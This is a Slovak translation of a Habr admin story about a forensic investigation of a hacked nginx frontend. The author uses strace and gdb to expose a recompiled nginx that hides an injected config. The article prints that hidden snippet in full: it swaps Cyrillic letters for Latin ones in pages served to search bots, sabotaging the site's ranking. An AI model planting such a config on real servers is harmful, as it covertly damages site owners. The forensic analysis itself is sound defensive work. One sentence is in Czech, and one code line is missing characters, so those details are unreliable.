Stalo sa veľmi nepríjemné niečo s jedným mojím známym. Ale to, ako veľmi to bolo nepríjemné pre Michala, bolo rovnako zaujímavé pre mňa.
Musím povedať, že môj priateľ je celkom UNIX-užívateľ: môže si sám nainštalovať systém a nastaviť mysql, php a urobiť jednoduché nastavenia nginx.
A má asi desať alebo pätnásť webových stránok o stavebných nástrojoch.
Jedna z týchto stránok, ktorá je venovaná motorovým pílam, sa pevne drží v TOPe vyhľadávačov. Táto stránka je nekomerčný prehľad, ale niekomu prekáža a začali ju útočiť. Raz DDoS, raz brute force, raz napíšu nevhodné komentáre a posielajú sťažnosti na hosting a do RKN.
Neočekávaně se všechno utíšilo a tato pauza se ukázala jako zlá, zatímco stránka začala postupně opouštět horní příčky výsledků.

To bola predpríprava, teraz je to samotná administrátorská rozprávka.
Čas sa blížil k spánku, keď zazvonil telefón: „Sanj, nepozrieš môj server? Mám pocit, že ma hackli, nemôžem to dokázať, ale to pocit ma neopúšťa už tretí týždeň. Možno by som mal ísť na liečbu paranoje?“
Potom nasledovala polhodinová diskusia, ktorú môžem stručne zhrnúť takto:
- pôda na hack bola celkom úrodná;
- útočník mohol získať práva superužívateľa;
- útok (ak k nemu došlo) bol cielený a na túto stránku;
- problémové miesta sú opravené a treba len pochopiť, či došlo k preniku;
- útok sa nemohol dotknúť kódu stránky a databáz.
Čo sa týka posledného bodu.

Do sveta sa pozerá iba biely IP frontendu. Medzi backendami a frontendmi nie sú žiadne výmeny okrem http(s), užívatelia/heslá sú rôzne, kľúče sa nevymenili. Na šedých adresách sú všetky porty okrem 80/443 uzavreté. Biely IP backendov sú známe iba dvom užívateľom, ktorým Michal úplne dôveruje.
Na frontende je nainštalované Debian 9 a k momentu telefonátu je systém izolovaný od sveta vonkajším firewallom a zastavený.
„Ok, daj prístupy, — rozhodol som sa odložiť spánok na hodinku. — Pozriem sa na to svojím okom.“
Tu a ďalej:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
V hľadaní možného hacku
Spúšťam server, najprv v recovery-mode. Montujem disky, prechádzam auth-logy, history, systémové protokoly a pod., v rámci možností kontrolujem dátumy vytvorenia súborov, hoci chápem, že normálny hacker by si „pomyl“ stopy, a už aj Miša dosť „podupal“, kým to sám hľadal.
Spúšťam v normálnom režime, zatiaľ moc nechápem, čo hľadám, študujem konfigurácie. Najprv ma zaujíma nginx pretože, vo všeobecnosti, na fronte okrem neho niet nič.
Konfigurácie sú malé, dobre štruktúrované v desiatke súborov, prechádzam si ich jednoducho cat’po jednom. Zdá sa, že je všetko čisté, ale čo ak som niečo prehliadol include, urobím úplný výpis:
$ nginx -T
nginx: syntax konfigurácie súboru /usr/local/etc/nginx/nginx.conf je v poriadku
nginx: test konfigurácie súboru /usr/local/etc/nginx/nginx.conf bol úspešný
Nechápem: „Kde je výpis?“
$ nginx -V
nginx verzia: nginx/1.10.3
Podpora TLS SNI je povolená
konfiguračné argumenty: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
K otázke výpisu sa pridáva druhá: „Prečo taká stará verzia nginx?“
Navyše, systém považuje, že verzia je nainštalovaná novšia:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all malý, mocný, škálovateľný web/proxy server
Zavolám:
— Miša, prečo si to prekompiloval nginx?
— Uvoľni sa, ja ani neviem, ako to spraviť!
— Ok, tak spi...
Nginx určite bol prekompilovaný a výstup výpisu po „-T“ je skrytý bezdôvodne. O podozrení na hack už niet pochýb a to možno jednoducho prijať a (keďže Miša aj tak vymenil server za nový) považovať problém za vyriešený.
A naozaj, ak niekto dostal práva root‘a, má zmysel robiť iba system reinstall, a hľadanie toho, čo tam bolo pokazené, je zbytočné, ale tentokrát zvedavosť porazila spánok. Ako zistiť, čo od nás chceli skryť?
Skúsime odtraceovať:
$ strace nginx -T
Prechádzame, v trasovaní zjavne chýbajú riadky a-la
write(1, "/etc/nginx/nginx.conf", 21 /etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Pre zaujímavosť porovnávame výstupy
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Myslím, že časť kódu /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
bola prevedená do podoby:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
alebo
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
preto sa výpis pri «-T» nezobrazuje.
Ale ako sa môžeme pozrieť na náš konfiguráciu?
Ak je moja myšlienka správna a problém je len v premennej ngx_dump_config skúsime ju nastaviť pomocou gdb, našťastie parameter —with-cc-opt -g je prítomný a dúfame, že optimalizácia -O2 nám neublíži. Keďže neviem, ako ngx_dump_config mohla byť spracovaná v case ‘T’:, nebudeme volať tento blok, ale nastavíme ju pomocou case ‘t’:
Prečo sa dá použiť ‘-t’ rovnako ako ‘-T’Spracovanie bloku if(ngx_dump_config) prebieha vo vnútri if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "konfiguračný súbor %s test bol úspešný",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i config_dump.nelts; i++) {
ngx_write_stdout("# konfiguračný súbor ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Samozrejme, ak bol kód zmenený v tejto časti, a nie v case ‘T’:, tak môj spôsob nebude fungovať.
Testovací nginx.confUž sme vyřešili problém experimentálnou cestou a zistili, že pre fungovanie škodlivého kódu je potrebná minimálna konfigurácia nginx v podobe:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
Ten budeme na skrátenie používať v článku.
Spúšťame debugger
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
Po krokoch:
- nastavíme zarážku v funkcii main()
- spustíme program
- zmeníme hodnotu premennej, ktorá určuje výstup konfigurácie ngx_dump_config=1
- pokračujeme/ukončujeme program
Ako vidíme, skutočná konfigurácia sa líši od našej, vyberáme z nej parazitický útržok:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Pozrime sa postupne, čo sa tu deje.
Určujú sa User-Agent‘yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Vylučujú sa servisné stránky wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
A pre tých, ktorí spadajú pod oba vyššie uvedené podmienky
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
v texte html-stránky sa menia ‘о’ na ‘o’ a ‘а’ na ‘a’:
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Presne tak, nuansa je len v tom, že ‘а’ != ‘a’ tak ako aj ‘о’ != ‘o’:

Takto získavajú boty vyhľadávačov namiesto normálneho 100%-ného Cyrilického textu modifikovaný odpad, rozriedený latinou. ‘a’ a ‘o’. Neodvážim sa špekulovať, ako to ovplyvňuje SEO, ale ťažko povedať, že táto písmená zmes pozitívne ovplyvní pozície vo vyhľadávaní.
Čo dodať, chalani majú fantáziu.
Odkazy
Zdroj: habr.com
